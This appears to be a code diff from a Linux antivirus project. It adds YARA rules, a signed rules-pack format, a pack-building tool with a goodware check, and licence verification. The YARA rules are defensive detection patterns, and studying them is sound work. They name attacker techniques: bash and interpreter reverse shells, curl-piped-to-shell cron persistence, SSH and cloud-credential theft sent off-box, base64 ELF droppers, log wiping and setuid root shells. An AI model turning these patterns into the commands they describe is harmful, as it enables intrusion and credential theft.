filesize < 128KB and $sb in (0..64) and $dir and $get and $chm
}
/*
* REMOVED: Linux.Loader.MemfdExec
*
* It fired on any ELF using memfd_create plus execveat/fexecve. That is a
* real malware technique (fileless ELF-in-memory) and also exactly what
* container runtimes and tracers do legitimately — the goodware gate
* caught it on runc, ctr, flatpak, strace and python3.12. memfd_create is
* a syscall, not a family string, so no threshold saves it: it would only
* move the false positive to the next container tool on the next distro.
* Fileless execution is a behavioural signal (an exec of an anonymous fd),
* which belongs in the eBPF layer, not a static string rule.
*/
/* ─────────────────── credential & data theft ────────────────────── */
rule Linux_Stealer_SSHCredHarvest
{
meta:
name = "Linux.Stealer.SSHHarvest"
severity = "warning"
action = "alert"
desc = "A script that harvests SSH keys, known_hosts and history for lateral movement."
strings:
$sb = "#!/bin/"
$k1 = ".ssh/id_rsa" ascii
$k2 = ".ssh/known_hosts" ascii
$k3 = ".ssh/authorized_keys" ascii
$h1 = ".bash_history" ascii
$x1 = /(curl|wget)\s/ ascii
$x2 = "base64" ascii
$x3 = "nc " ascii
condition:
filesize < 128KB and $sb in (0..64)
and 2 of ($k1,$k2,$k3,$h1)
and 1 of ($x*)
}
rule Linux_Malware_BashHistory_Exfil
{
meta:
name = "Linux.Stealer.EnvExfil"
severity = "warning"
action = "alert"
desc = "A script that reads environment secrets or cloud credentials and posts them off-box."
strings:
$sb = "#!/bin/"
$c1 = ".aws/credentials" ascii
$c2 = ".config/gcloud" ascii
$c3 = "AWS_SECRET_ACCESS_KEY" ascii
$c4 = "printenv" ascii
$c5 = "/proc/self/environ" ascii
$e1 = /(curl|wget)\s+[^\n]{0,200}(http|https):\/\// ascii
$e2 = /\/dev\/tcp\/[0-9]/ ascii
condition:
filesize < 128KB and $sb in (0..64)
and 1 of ($c*) and 1 of ($e*)
}
/* ─────────────────────── reverse shells ─────────────────────────── */
rule Linux_ReverseShell_DevTcp
{
meta:
name = "Linux.ReverseShell.BashDevTcp"
severity = "critical"
action = "alert"
desc = "A bash /dev/tcp reverse shell one-liner."
strings:
$sh = /(bash|sh)\s+-i\s+>&?\s*\/dev\/tcp\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/[0-9]{1,5}/
$re = "0>&1"
condition:
filesize < 128KB and $sh and $re
}
rule Linux_ReverseShell_Interpreter
{
meta:
name = "Linux.ReverseShell.Interpreter"
severity = "critical"
action = "alert"
desc = "A reverse shell in python/perl/ruby: a socket connect wired to a shell spawn."
strings:
$sock = "socket.socket(" ascii
$conn = ".connect((" ascii
$dup = "os.dup2(" ascii
$pty = "pty.spawn(" ascii
$sh = /"\/bin\/(sh|bash)"/ ascii
$pl = /use\s+Socket\s*;/ ascii
$plc = /connect\([A-Z0-9_]+\s*,\s*sockaddr_in/ ascii
$rb = /TCPSocket\.(new|open)\(/ ascii
$rbx = /exec\s*\(?\s*"\/bin\// ascii
condition:
filesize < 128KB
and (
// Python: connect to a socket and hand a shell its fds.
($sock and $conn and ($sh or $dup or $pty))
// Perl: Socket module plus a raw connect() to a sockaddr_in.
or ($pl and $plc)
// Ruby: a TCPSocket wired to an exec of a shell.
or ($rb and $rbx)
)
}
/* ─────────────────────── misc / suspicious ──────────────────────── */
rule Linux_Malware_EmbeddedElf_B64
{
meta:
name = "Linux.Dropper.Base64Elf"
severity = "warning"
action = "alert"
desc = "A script carrying a base64-encoded ELF payload (the 'f0VMR' magic prefix) that it decodes and runs."
strings:
$sb = "#!/bin/"
$b64 = "f0VMR" // base64 of \x7fELF
$dec1 = "base64 -d" ascii
$dec2 = "base64 --decode" ascii
$dec3 = "openssl base64 -d" ascii
condition:
filesize < 8MB and $sb in (0..64) and $b64 and 1 of ($dec*)
}
rule Linux_Malware_HistoryTamper
{
meta:
name = "Linux.Malware.HistoryTamper"
severity = "warning"
action = "alert"
desc = "A script that disables shell history and clears logs — anti-forensics wrapped around other activity."
strings:
$sb = "#!/bin/"
$h1 = "unset HISTFILE" ascii
$h2 = "export HISTSIZE=0" ascii
$h3 = "HISTFILESIZE=0" ascii
$h4 = "set +o history" ascii
$l1 = "/var/log/wtmp" ascii
$l2 = "/var/log/secure" ascii
$l3 = "/var/log/auth.log" ascii
condition:
filesize < 128KB and $sb in (0..64)
and 1 of ($h*) and 1 of ($l*)
}
rule Linux_Malware_Persistence_CronDownload
{
meta:
name = "Linux.Malware.CronDownloader"
severity = "critical"
action = "alert"
desc = "A crontab entry that periodically re-downloads and runs a payload — miner/bot re-infection persistence."
strings:
$sched = /(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s/
$dl = /(curl|wget)\s[^\n]{0,200}\|\s*(sh|bash)/
condition:
filesize < 64KB and $sched and $dl
}
rule Linux_Malware_LdPreloadEnvInject
{
meta:
name = "Linux.Malware.LdPreloadInject"
severity = "warning"
action = "alert"
desc = "A script exporting LD_PRELOAD to a payload in a world-writable directory — library-injection persistence."
strings:
$sb = "#!/bin/"
$ld = /LD_PRELOAD=[^\n]{0,120}\/(tmp|dev\/shm|var\/tmp)\//
condition:
filesize < 64KB and $sb in (0..64) and $ld
}
rule Linux_Malware_SetuidBackdoor_Script
{
meta:
name = "Linux.Malware.SetuidRootShell"
severity = "critical"
action = "alert"
desc = "A script that plants a setuid-root shell for privilege persistence."
strings:
$sb = "#!/bin/"
$cp = /cp\s+[^\n]{0,80}\/(bin|usr\/bin)\/(ba)?sh\s/
$chm = /chmod\s+([46][0-7]{3}|u\+s|\+s)\s/
condition:
filesize < 64KB and $sb in (0..64) and $cp and $chm
}

View file

@ -16,4 +16,4 @@ pub mod pack;
pub use index::{CuckooFilter, Index};
pub use osv::{Indicator, Versions};
pub use pack::{Pack, SignedPack};
pub use pack::{Pack, RulesPack, SignedPack};

View file

@ -84,7 +84,7 @@ impl std::fmt::Display for Error {
Error::Encode(e) => write!(f, "encoding the pack: {e}"),
Error::BadSignature => write!(
f,
"the definitions pack is not signed by Hound and was discarded"
"the file is not signed by Hound and was discarded"
),
Error::UnknownKey(id) => write!(f, "pack signed by unknown key {id}"),
Error::Malformed(e) => write!(f, "malformed pack: {e}"),
@ -105,13 +105,18 @@ pub fn sign(pack: &Pack, signing_key: &SigningKey, key_id: &str) -> Result<Signe
})
}
/// Verify and decode a pack.
/// Verify a signature and hand back the exact payload bytes, leaving their
/// interpretation to the caller.
///
/// The order is the point: the signature is checked against the raw bytes
/// **before** anything parses them. A pack that fails verification is
/// never handed to the JSON parser, so a hostile pack cannot reach the
/// parser's attack surface at all.
pub fn verify(signed: &SignedPack, trusted: &[(&str, VerifyingKey)]) -> Result<Pack, Error> {
/// Definition packs parse the bytes as JSON; the licence verifier parses
/// them as the canonical licence text; the rules-pack channel parses them
/// as a rules manifest. All of them go through this one function, so there
/// is exactly one signature check to audit and no way for a second
/// implementation to drift.
pub fn verify_detached(
signed: &SignedPack,
trusted: &[(&str, VerifyingKey)],
) -> Result<Vec<u8>, Error> {
let Some((_, key)) = trusted.iter().find(|(id, _)| *id == signed.key_id) else {
return Err(Error::UnknownKey(signed.key_id.clone()));
};
@ -126,7 +131,77 @@ pub fn verify(signed: &SignedPack, trusted: &[(&str, VerifyingKey)]) -> Result<P
key.verify(&signed.payload, &signature)
.map_err(|_| Error::BadSignature)?;
serde_json::from_slice(&signed.payload).map_err(|e| Error::Malformed(e.to_string()))
Ok(signed.payload.clone())
}
/// Verify and decode a pack.
///
/// The order is the point: the signature is checked against the raw bytes
/// **before** anything parses them. A pack that fails verification is
/// never handed to the JSON parser, so a hostile pack cannot reach the
/// parser's attack surface at all.
pub fn verify(signed: &SignedPack, trusted: &[(&str, VerifyingKey)]) -> Result<Pack, Error> {
let payload = verify_detached(signed, trusted)?;
serde_json::from_slice(&payload).map_err(|e| Error::Malformed(e.to_string()))
}
/// A signed YARA rules pack — the delivery channel for the curated Hound
/// Linux threat pack.
///
/// Distinct from a definitions [`Pack`]: that one carries package
/// *indicators* (names and versions the supply-chain sweep matches
/// against), this one carries YARA *source* that the engine compiles into
/// the live ruleset. Both travel inside the same [`SignedPack`] envelope
/// and are verified by the same [`verify_detached`], so a rules pack that
/// is not really ours never reaches the YARA compiler.
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
pub struct RulesPack {
/// Pack version, e.g. "2026.08.21". Shown by `hound status` as the
/// ruleset version once loaded.
pub version: String,
/// When it was built, RFC3339.
pub created: String,
/// Basename the agent installs it under (without extension). Kept
/// inside the signed payload so a hostile index cannot rename one pack
/// over another.
pub name: String,
/// The YARA source itself.
pub yara: String,
}
/// Sign arbitrary payload bytes. Build-side only.
pub fn sign_bytes(payload: Vec<u8>, signing_key: &SigningKey, key_id: &str) -> SignedPack {
let signature = signing_key.sign(&payload);
SignedPack {
payload,
signature: signature.to_bytes().to_vec(),
key_id: key_id.to_string(),
}
}
/// Verify and decode a rules pack. Same discipline as [`verify`]: the
/// signature is checked before the payload is parsed.
pub fn verify_rules(
signed: &SignedPack,
trusted: &[(&str, VerifyingKey)],
) -> Result<RulesPack, Error> {
let payload = verify_detached(signed, trusted)?;
serde_json::from_slice(&payload).map_err(|e| Error::Malformed(e.to_string()))
}
/// Decode the compact single-line form of a signed blob: base64 of its
/// JSON. This is the shape a licence token travels in — something a person
/// can paste into a terminal without a JSON string surviving two levels of
/// shell quoting.
pub fn decode_token(token: &str) -> Option<SignedPack> {
let json = base64_bytes::decode(token.trim())?;
serde_json::from_slice(&json).ok()
}
/// The inverse of [`decode_token`], for the issuer and for tests.
pub fn encode_token(signed: &SignedPack) -> Result<String, Error> {
let json = serde_json::to_vec(signed).map_err(|e| Error::Encode(e.to_string()))?;
Ok(base64_bytes::encode(&json))
}
/// Base64 for the byte fields, so a signed pack is a plain JSON file.
@ -347,6 +422,65 @@ mod tests {
assert!(base64_bytes::decode("not base64 !!!").is_none());
}
// ── rules packs ──
#[test]
fn a_rules_pack_round_trips_and_a_tampered_one_is_refused() {
let key = test_key();
let rp = RulesPack {
version: "2026.08.21".into(),
created: "2026-08-21T12:00:00Z".into(),
name: "hound-linux".into(),
yara: "rule X { condition: false }".into(),
};
let mut signed = sign_bytes(serde_json::to_vec(&rp).unwrap(), &key, "hound-2026");
let trusted = [("hound-2026", key.verifying_key())];
assert_eq!(verify_rules(&signed, &trusted).unwrap(), rp);
// One flipped bit and the YARA source never reaches a compiler.
let pos = signed.payload.len() / 2;
signed.payload[pos] ^= 0x01;
assert_eq!(verify_rules(&signed, &trusted), Err(Error::BadSignature));
}
// ── the compact token form ──
#[test]
fn a_token_round_trips_and_still_verifies() {
let key = test_key();
let signed = sign(&a_pack(), &key, "hound-2026").unwrap();
let token = encode_token(&signed).unwrap();
assert!(
token.chars().all(|c| !c.is_whitespace()),
"a token must survive being pasted into a terminal"
);
let back = decode_token(&token).expect("the token must decode");
let trusted = [("hound-2026", key.verifying_key())];
assert_eq!(verify(&back, &trusted).unwrap(), a_pack());
}
#[test]
fn a_corrupted_token_is_refused_not_guessed_at() {
let key = test_key();
let signed = sign(&a_pack(), &key, "hound-2026").unwrap();
let token = encode_token(&signed).unwrap();
assert!(decode_token(&token[..token.len() / 2]).is_none());
assert!(decode_token("!!definitely not a token!!").is_none());
}
#[test]
fn verify_detached_returns_the_exact_signed_bytes() {
// A licence signs canonical text, not JSON. The detached form must
// hand back precisely what was signed, or the caller acts on
// something other than what was checked.
let key = test_key();
let payload = b"hound-license-v1\ntier=pro\n".to_vec();
let signature = key.sign(&payload).to_bytes().to_vec();
let signed = SignedPack { payload: payload.clone(), signature, key_id: "hound-2026".into() };
let trusted = [("hound-2026", key.verifying_key())];
assert_eq!(verify_detached(&signed, &trusted).unwrap(), payload);
}
#[test]
fn errors_read_like_something_a_person_can_act_on() {
assert!(Error::BadSignature.to_string().contains("discarded"));

View file

@ -168,6 +168,18 @@ enum Cmd {
#[command(subcommand)]
action: Option<RealtimeCmd>,
},
/// Show this machine's licence, or install one
License {
#[command(subcommand)]
action: Option<LicenseCmd>,
},
}
#[derive(Subcommand)]
enum LicenseCmd {
/// Install a licence token — paste the token itself, or give a path to
/// a file that contains it
Install { token: String },
}
#[derive(Subcommand)]
@ -390,6 +402,28 @@ fn print_defs(d: &hound_api::DefsStatus) {
/// `timed_out` is the one number worth alarming on: above zero it means
/// scans are slow enough that the watchdog is releasing processes
/// unscanned, so the gate has quietly degraded to advisory.
fn print_license(l: &hound_api::LicenseStatus) {
let tier = match l.tier.as_str() {
"pro" => "Pro".green().bold().to_string(),
"fleet" => "Fleet".green().bold().to_string(),
_ => "Free".normal().to_string(),
};
let mut line = format!(" Licence: {tier}");
if !l.holder.is_empty() {
line.push_str(&format!("{}", l.holder));
}
if !l.expires.is_empty() {
line.push_str(&format!(", until {}", l.expires));
}
if l.seats > 0 {
line.push_str(&format!(", {} seats", l.seats));
}
println!("{line}");
if !l.detail.is_empty() {
println!(" {}", l.detail.yellow());
}
}
fn print_gate(g: &hound_api::GateStatus) {
if !g.active {
let why = if g.detail.is_empty() { "off" } else { &g.detail };
@ -654,6 +688,7 @@ fn run(client: &Client, cmd: &Cmd) -> Result<i32> {
}
print_defs(&st.defs);
print_gate(&st.gate);
print_license(&st.license);
} else {
println!(
"{} {} [engine: {}]",
@ -995,6 +1030,48 @@ fn run(client: &Client, cmd: &Cmd) -> Result<i32> {
}
Ok(0)
}
Cmd::License { action } => match action {
None => {
let st = client.status()?;
print_license(&st.license);
if st.license.tier == "free" {
println!(
" Free includes every scan and hygiene check on this\n\
\x20 machine. Pro adds the execution gate, the full\n\
\x20 malicious-package feed and the Linux threat pack \n\
\x20 https://houndav.com/#pricing"
);
}
Ok(0)
}
Some(LicenseCmd::Install { token }) => {
// A file path is kinder than 600 characters of base64 on the
// command line; accept both.
let text = if std::path::Path::new(token).is_file() {
std::fs::read_to_string(token)?
} else {
token.clone()
};
let l = client.license_install(text.trim())?;
print_license(&l);
println!("{} licence installed", "".green().bold());
if l.tier != "free" {
println!(
" The full definitions feed is active from the next update — run\n\
\x20 `sudo hound update` to fetch it now."
);
let gate_active = client.status().map(|s| s.gate.active).unwrap_or(false);
if !gate_active {
println!(
" To arm the execution gate:\n\
\x20 sudo hound settings exec-gate on\n\
\x20 sudo systemctl restart houndd"
);
}
}
Ok(0)
}
},
}
}

View file

@ -0,0 +1,138 @@
//! Build, gate and sign the Hound Linux threat pack.
//!
//! build-rules-pack <rules.yar> <name> <out.rpack> <key-file> <version> [created]
//!
//! Three things happen, in this order, and any one of them failing aborts
//! the build:
//!
//! 1. **Compile.** The YARA source has to compile under the exact
//! engine the agent runs (yara-x), or a broken pack would take down
//! every agent that loaded it — the daemon skips a pack it cannot
//! compile, so a bad pack is a silent loss of detection.
//!
//! 2. **Goodware gate.** Every rule is scanned against /usr/bin, /bin
//! and /usr/sbin on this machine. One hit on a system binary and the
//! build fails — a rule that quarantines a real binary is worse than
//! no rule at all, and the whole product dies the first time it eats
//! somebody's `sudo`. This is the same gate as the built-in pack's
//! unit test, run here before anything is signed.
//!
//! 3. **Sign.** Only a pack that compiled and passed the gate is wrapped
//! in the signed envelope and written out, so nothing unverifiable or
//! untested ever reaches the feed.
//!
//! The signing key is loaded from the key file (never generated here — a
//! threat pack signed by a throwaway key is a threat pack no agent trusts).
use ed25519_dalek::SigningKey;
use hound_defs::{pack, RulesPack};
fn die(msg: impl std::fmt::Display) -> ! {
eprintln!("build-rules-pack: {msg}");
std::process::exit(1);
}
fn load_key(path: &str) -> SigningKey {
let bytes = std::fs::read(path).unwrap_or_else(|e| die(format!("reading key {path}: {e}")));
let seed: [u8; 32] = bytes
.get(..32)
.and_then(|s| s.try_into().ok())
.unwrap_or_else(|| die(format!("{path} is not at least a 32-byte key")));
SigningKey::from_bytes(&seed)
}
/// Compile the pack together with the built-in rules, exactly as the
/// daemon does, and return the compiled ruleset.
fn compile(yara: &str) -> yara_x::Rules {
let mut compiler = yara_x::Compiler::new();
compiler
.add_source(yara_x::SourceCode::from(yara).with_origin("hound-linux.yar"))
.unwrap_or_else(|e| die(format!("the pack does not compile:\n{e}")));
compiler.build()
}
/// Scan the system binaries and abort on any match. Returns how many
/// binaries were checked, so the caller can insist the gate was meaningful.
fn goodware_gate(rules: &yara_x::Rules) -> usize {
let mut scanner = yara_x::Scanner::new(rules);
let mut checked = 0usize;
let mut failures: Vec<String> = Vec::new();
for dir in ["/usr/bin", "/bin", "/usr/sbin", "/usr/lib", "/lib"] {
let Ok(entries) = std::fs::read_dir(dir) else { continue };
for entry in entries.flatten() {
let path = entry.path();
let Ok(md) = std::fs::symlink_metadata(&path) else { continue };
if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 {
continue;
}
let Ok(bytes) = std::fs::read(&path) else { continue };
checked += 1;
if let Ok(res) = scanner.scan(&bytes) {
for m in res.matching_rules() {
failures.push(format!("{} -> {}", path.display(), m.identifier()));
}
}
}
}
if !failures.is_empty() {
die(format!(
"GOODWARE GATE FAILED — {} false positive(s) on system files:\n {}",
failures.len(),
failures.join("\n ")
));
}
checked
}
fn main() {
let args: Vec<String> = std::env::args().skip(1).collect();
if args.len() < 5 {
die("usage: build-rules-pack <rules.yar> <name> <out.rpack> <key-file> <version> [created]");
}
let (src_path, name, out, key_path, version) =
(&args[0], &args[1], &args[2], &args[3], &args[4]);
let created = args
.get(5)
.cloned()
.unwrap_or_else(|| "1970-01-01T00:00:00Z".into());
if name.is_empty()
|| name.len() > 64
|| !name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_'))
{
die(format!("pack name {name:?} must be a plain [A-Za-z0-9_-] basename"));
}
let yara = std::fs::read_to_string(src_path)
.unwrap_or_else(|e| die(format!("reading {src_path}: {e}")));
let rules = compile(&yara);
let rule_count = rules.iter().count();
eprintln!("compiled {rule_count} rule(s)");
let checked = goodware_gate(&rules);
if checked < 200 {
die(format!(
"goodware gate only saw {checked} binaries — run this on a real system so the gate means something"
));
}
eprintln!("goodware gate: {checked} system files scanned, 0 false positives");
let rp = RulesPack {
version: version.clone(),
created,
name: name.clone(),
yara,
};
let payload = serde_json::to_vec(&rp).unwrap_or_else(|e| die(format!("encoding: {e}")));
let key = load_key(key_path);
let key_id = std::env::var("HOUND_KEY_ID").unwrap_or_else(|_| "hound-2026".into());
let signed = pack::sign_bytes(payload, &key, &key_id);
std::fs::write(out, serde_json::to_string(&signed).unwrap())
.unwrap_or_else(|e| die(format!("writing {out}: {e}")));
eprintln!("wrote {out}{rule_count} rules, version {version}, signed by {key_id}");
}

View file

@ -0,0 +1,326 @@
//! The installed licence: where it lives, how it is verified, and what is
//! actually in force.
//!
//! A licence is an Ed25519-signed token — the same signature scheme, the
//! same trusted keys and the same verify-before-parse discipline as a
//! definitions pack. See `hound_api::license` for why the check exists at
//! all (it is not copy protection) and `hound_defs::pack` for the
//! signature layer.
//!
//! The rules this module enforces:
//!
//! * **Verification failing means Free, never nothing.** A corrupt token,
//! a wrong key, an unreadable file — every failure degrades to the Free
//! tier with the reason recorded, and the daemon keeps protecting the
//! machine. A security product that answers a licence problem by
//! switching itself off has chosen revenue over the user's safety.
//! * **Expiry is a downgrade, not a lockout.** A lapsed Pro licence leaves
//! exactly what a fresh Free install has.
//! * **Nothing unverified is ever written.** `install` verifies the token
//! before persisting it, so the file on disk is always one that at least
//! verified once.
use anyhow::{Context, Result};
use hound_api::license::License;
use hound_api::LicenseStatus;
use hound_defs::{pack, SignedPack};
use std::path::PathBuf;
use std::sync::{Arc, RwLock};
/// Where the token lives. The licence is not a secret — it grants nothing
/// without the machine it is installed on — but it names its holder, so
/// the file is written 0600 all the same.
pub fn license_path() -> PathBuf {
if let Some(p) = std::env::var_os("HOUNDD_LICENSE_PATH") {
return PathBuf::from(p);
}
if crate::caps::is_root() {
return PathBuf::from("/var/lib/hound/license.token");
}
let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into());
PathBuf::from(home).join(".local/share/hound/license.token")
}
/// Today, as the ISO date expiry comparisons use.
fn today() -> String {
let now = time::OffsetDateTime::now_utc().date();
format!("{:04}-{:02}-{:02}", now.year(), u8::from(now.month()), now.day())
}
/// What the daemon is acting on.
pub struct State {
/// The tier in force after verification and expiry. This is what every
/// capability check consults.
pub effective: License,
/// What the installed token says, before expiry, for display.
pub installed: Option<License>,
/// Why `effective` differs from `installed`, or why nothing is
/// installed. Empty when everything is as the token says.
pub detail: String,
}
impl State {
fn free(detail: impl Into<String>) -> Self {
State {
effective: License::default(),
installed: None,
detail: detail.into(),
}
}
/// The wire shape for `hound status` and the GUI.
pub fn status(&self) -> LicenseStatus {
let shown = self.installed.as_ref().unwrap_or(&self.effective);
LicenseStatus {
tier: self.effective.tier.as_str().to_string(),
holder: shown.holder.clone(),
expires: shown.expires.clone(),
seats: shown.seats,
detail: self.detail.clone(),
}
}
}
/// Verify a token string against the trusted keys and return the licence
/// it carries. This is the only path from bytes to a `License` the daemon
/// will act on.
pub fn parse_token(token: &str) -> Result<License> {
let token = token.trim();
let signed: SignedPack = if token.starts_with('{') {
// The raw JSON form, as written to disk.
serde_json::from_str(token).context("this is not a Hound licence")?
} else {
pack::decode_token(token).context("this is not a Hound licence token")?
};
let keys = crate::defs::trusted_keys();
let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> =
keys.iter().map(|(id, k)| (id.as_str(), *k)).collect();
let payload = pack::verify_detached(&signed, &trusted).map_err(|e| anyhow::anyhow!("{e}"))?;
let text = std::str::from_utf8(&payload).context("the licence payload is not text")?;
License::from_canonical(text).context("the signed payload is not a licence")
}
/// Apply expiry to a verified licence.
fn evaluate(installed: License) -> State {
if installed.expired_on(&today()) {
let detail = format!(
"the {} licence for {} expired on {} — running as Free; every scan and \
hygiene check still works",
installed.tier.as_str(),
if installed.holder.is_empty() { "this machine" } else { &installed.holder },
installed.expires
);
return State {
effective: License::default(),
installed: Some(installed),
detail,
};
}
State {
effective: installed.clone(),
installed: Some(installed),
detail: String::new(),
}
}
/// Load whatever is on disk. Never fails: every problem is a reasoned
/// fall-back to Free.
fn load() -> State {
let path = license_path();
let text = match std::fs::read_to_string(&path) {
Ok(t) => t,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
return State::free("");
}
Err(e) => {
return State::free(format!(
"could not read {} ({e}) — running as Free",
path.display()
));
}
};
match parse_token(&text) {
Ok(lic) => evaluate(lic),
Err(e) => State::free(format!("the installed licence was refused ({e}) — running as Free")),
}
}
/// Hot-swappable handle, mirroring how rules and definitions are held.
#[derive(Clone)]
pub struct LicenseStore {
inner: Arc<RwLock<Arc<State>>>,
}
impl LicenseStore {
pub fn load() -> Self {
Self {
inner: Arc::new(RwLock::new(Arc::new(load()))),
}
}
pub fn current(&self) -> Arc<State> {
Arc::clone(&self.inner.read().expect("license store poisoned"))
}
/// Verify a token and, only then, persist and adopt it.
pub fn install(&self, token: &str) -> Result<Arc<State>> {
let lic = parse_token(token)?;
let path = license_path();
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)
.with_context(|| format!("creating {}", parent.display()))?;
}
// Write-then-rename, like a definitions pack: the file either holds
// the old licence or the new one, never half of each.
let tmp = path.with_extension("token.part");
std::fs::write(&tmp, token.trim())
.with_context(|| format!("writing {}", tmp.display()))?;
let _ = std::fs::set_permissions(&tmp, {
use std::os::unix::fs::PermissionsExt;
std::fs::Permissions::from_mode(0o600)
});
std::fs::rename(&tmp, &path)
.with_context(|| format!("installing {}", path.display()))?;
let fresh = Arc::new(evaluate(lic));
*self.inner.write().expect("license store poisoned") = Arc::clone(&fresh);
Ok(fresh)
}
}
#[cfg(test)]
mod tests {
use super::*;
use ed25519_dalek::{Signer, SigningKey};
use hound_api::license::{Capability, Tier};
fn token_for(lic: &License, key: &SigningKey, key_id: &str) -> String {
let payload = lic.canonical().into_bytes();
let signature = key.sign(&payload).to_bytes().to_vec();
let signed = SignedPack { payload, signature, key_id: key_id.into() };
pack::encode_token(&signed).unwrap()
}
fn hex_of(k: &SigningKey) -> String {
k.verifying_key().to_bytes().iter().map(|b| format!("{b:02x}")).collect()
}
#[test]
fn a_valid_token_grants_its_tier() {
let key = SigningKey::from_bytes(&[11u8; 32]);
let lic = License {
tier: Tier::Pro,
holder: "Somebody <s@example.com>".into(),
expires: "2099-01-01".into(),
seats: 0,
};
let token = token_for(&lic, &key, "dev");
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key));
let parsed = parse_token(&token).expect("a valid token must parse");
std::env::remove_var("HOUNDD_DEFS_KEY");
assert_eq!(parsed.tier, Tier::Pro);
assert!(parsed.allows(Capability::ExecutionGate));
let state = evaluate(parsed);
assert_eq!(state.effective.tier, Tier::Pro);
assert!(state.detail.is_empty());
}
#[test]
fn a_tampered_token_is_free_not_fatal() {
let key = SigningKey::from_bytes(&[11u8; 32]);
let attacker = SigningKey::from_bytes(&[12u8; 32]);
let lic = License { tier: Tier::Fleet, seats: 100, ..Default::default() };
let forged = token_for(&lic, &attacker, "dev");
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key));
let refused = parse_token(&forged);
std::env::remove_var("HOUNDD_DEFS_KEY");
assert!(refused.is_err(), "a token signed by the wrong key must not parse");
}
#[test]
fn an_expired_licence_runs_as_free_and_says_so() {
let lic = License {
tier: Tier::Pro,
holder: "Lapsed <l@example.com>".into(),
expires: "2020-01-01".into(),
seats: 0,
};
let state = evaluate(lic);
assert_eq!(state.effective.tier, Tier::Free);
assert!(!state.effective.allows(Capability::ExecutionGate));
assert!(state.detail.contains("expired on 2020-01-01"));
assert!(
state.detail.contains("still works"),
"the lapse message must say what the user keeps: {}",
state.detail
);
// The wire status reports the tier in force, not the token's claim.
let s = state.status();
assert_eq!(s.tier, "free");
assert_eq!(s.holder, "Lapsed <l@example.com>");
}
#[test]
fn no_licence_file_is_plain_free_with_no_complaint() {
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_LICENSE_PATH", "/nonexistent/nowhere.token");
let state = load();
std::env::remove_var("HOUNDD_LICENSE_PATH");
assert_eq!(state.effective.tier, Tier::Free);
assert!(state.installed.is_none());
assert!(state.detail.is_empty(), "Free is not an error state: {}", state.detail);
}
#[test]
fn install_verifies_before_writing_and_survives_a_reload() {
let dir = std::env::temp_dir().join(format!("hound-lic-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
let path = dir.join("license.token");
let key = SigningKey::from_bytes(&[11u8; 32]);
let lic = License { tier: Tier::Pro, expires: "2099-01-01".into(), ..Default::default() };
let token = token_for(&lic, &key, "dev");
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_LICENSE_PATH", &path);
std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key));
let store = LicenseStore::load();
assert_eq!(store.current().effective.tier, Tier::Free);
// Garbage is refused and never lands on disk.
assert!(store.install("not a token").is_err());
assert!(!path.exists(), "a refused token must not be persisted");
let state = store.install(&token).expect("a valid token installs");
assert_eq!(state.effective.tier, Tier::Pro);
assert!(path.exists());
// A fresh daemon picks it straight back up.
let reloaded = LicenseStore::load();
assert_eq!(reloaded.current().effective.tier, Tier::Pro);
std::env::remove_var("HOUNDD_LICENSE_PATH");
std::env::remove_var("HOUNDD_DEFS_KEY");
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn today_is_an_iso_date() {
let t = today();
assert_eq!(t.len(), 10);
assert_eq!(&t[4..5], "-");
assert!(t >= "2026-01-01".to_string(), "clock sanity: {t}");
}
}

View file

@ -46,6 +46,7 @@ mod defs;
mod engine;
mod events;
mod fanotify;
mod license;
mod native;
mod peer;
mod persistence;
@ -81,6 +82,7 @@ struct DaemonState {
quarantine: quarantine::Quarantine,
realtime: realtime::RealtimeMonitor,
defs: defs::DefsStore,
license: license::LicenseStore,
/// The execution gate, when it came up. `None` covers both "switched
/// off" and "could not be armed"; `gate_detail` says which.
gate: Option<std::sync::Arc<fanotify::Gate>>,
@ -174,8 +176,28 @@ impl DaemonState {
let realtime =
realtime::RealtimeMonitor::new(settings.clone(), quarantine.clone(), events.clone());
let license = license::LicenseStore::load();
{
let l = license.current();
match (&l.installed, l.detail.is_empty()) {
(Some(inst), true) => eprintln!(
"license: {} ({}{})",
l.effective.tier.as_str(),
if inst.holder.is_empty() { "unnamed" } else { &inst.holder },
if inst.expires.is_empty() {
String::new()
} else {
format!(", until {}", inst.expires)
}
),
(_, false) => eprintln!("license: {}", l.detail),
(None, true) => eprintln!("license: free tier"),
}
}
let s = settings.get();
let (gate, gate_detail, gate_paths) = Self::arm_gate(&s, &events, &quarantine);
let (gate, gate_detail, gate_paths) =
Self::arm_gate(&s, &license.current().effective, &events, &quarantine);
// The inotify monitor is now the FALLBACK, not the primary path.
//
@ -206,6 +228,7 @@ impl DaemonState {
quarantine,
realtime,
defs,
license,
gate,
gate_detail: std::sync::Arc::new(gate_detail),
gate_paths,
@ -221,6 +244,7 @@ impl DaemonState {
/// protects nothing.
fn arm_gate(
s: &Settings,
lic: &hound_api::license::License,
events: &events::EventLog,
quarantine: &quarantine::Quarantine,
) -> (Option<std::sync::Arc<fanotify::Gate>>, String, Vec<String>) {
@ -228,6 +252,15 @@ impl DaemonState {
eprintln!("gate: disabled in settings");
return (None, "disabled".into(), Vec::new());
}
// The licence check sits before the root check on purpose: "this is
// part of Pro" is the answer a Free user can act on, whereas "needs
// root" invites them to escalate and hit the licence wall anyway.
if !lic.allows(hound_api::license::Capability::ExecutionGate) {
let why = hound_api::license::Capability::ExecutionGate.explain_absence();
events.push("gate", "info", why.into());
eprintln!("gate: off — {why}");
return (None, why.into(), Vec::new());
}
if !caps::is_root() {
